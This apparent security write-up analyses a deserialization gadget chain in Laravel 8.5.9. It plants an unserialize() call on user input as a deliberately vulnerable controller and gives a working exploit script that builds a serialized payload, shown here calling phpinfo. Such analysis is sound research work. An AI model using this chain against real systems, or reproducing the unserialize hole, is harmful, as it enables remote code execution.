Installation method: 1 composer create-project laravel/laravel=8.5.9 laravel8
Manually add deserialization point: /routes/web.php:
1 2 3 <?php Route::get("/" ,"\App\Http\Controllers\DemoController@demo" ); ?>
Add democontroller controller under app/Http/Controllers/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php namespace App \Http \Controllers ;class DemoController extends Controller { public function demo ( ) { if (isset ($_GET['c' ])){ $code = $_GET['c' ]; unserialize($code); } else { highlight_file(__FILE__ ); } } }
The results are as follows:
New version of laravel pop chain process: The destruct function is used to cut in under the class illuminate\broadcasting\pendingbroadcast;
1 2 3 4 public function __destruct ( ) { $this ->events->dispatch($this ->event); }
To call the dispatch method under the illuminate\bus\dispatcher class;
1 2 3 4 5 6 public function dispatch ($command ) { return $this ->queueResolver && $this ->commandShouldBeQueued($command) ? $this ->dispatchToQueue($command) : $this ->dispatchNow($command); }
Controls the queueresolver and command variables;make them true,so we can see dispatchToQueue function
1 2 3 4 protected function commandShouldBeQueued ($command ) { return $command instanceof ShouldQueue; }
Obviously, the shouldqueue interface class needs to be inherited;We found the class Illuminate\Broadcasting\BroadcastEvent globally;
1 class BroadcastEvent implements ShouldQueue
After successfully entering the corresponding method, we audit the method;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public function dispatchToQueue ($command ) { $connection = $command->connection ?? null ; $queue = call_user_func($this ->queueResolver, $connection); if (! $queue instanceof Queue) { throw new RuntimeException ('Queue resolver did not return a Queue implementation.' ); } if (method_exists($command, 'queue' )) { return $command->queue($queue, $command); } return $this ->pushCommandToQueue($queue, $command); }
Notice the call_user_func method, we find that both the queueresolver parameter and the connection parameter are controllable;Because call_user__func,We can make the first parameter an array,So as to call the corresponding method under the corresponding class;
Here I use the__ Invoke method from Illuminate\View\InvokableComponentVariable;Because the parameters of this method are controllable, you can also call sensitive functions
1 2 3 4 5 public function __invoke ( ) { return call_user_func($this ->callable); }
Here we can control the callable; we can directly pass in the sensitive function to execute it;
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php namespace Illuminate \Broadcasting {class PendingBroadcast { protected $events ; protected $event; public function __construct ($events, $event ) { $this ->event = $event; $this ->events = $events; } } } namespace Illuminate \Bus {class Dispatcher { protected $queueResolver ; public function __construct ($queueResolver ) { $this ->queueResolver = $queueResolver; } } } namespace Illuminate \Broadcasting { class BroadcastEvent { protected $connection ; public function __construct ($connection ) { $this ->connection = $connection; } } } namespace Illuminate \View {class InvokableComponentVariable { protected $callable ; public function __construct ($callable ) { $this ->callable = $callable; } } } namespace { $d = new Illuminate\View\InvokableComponentVariable('phpinfo'); $c = new Illuminate\Broadcasting\BroadcastEvent(true ); $b = new Illuminate\Bus\Dispatcher(array ($d,'__invoke' )); $a = new Illuminate\Broadcasting\PendingBroadcast($b,$c); echo urlencode(serialize($a)); }
It can cause function execution and information leakage;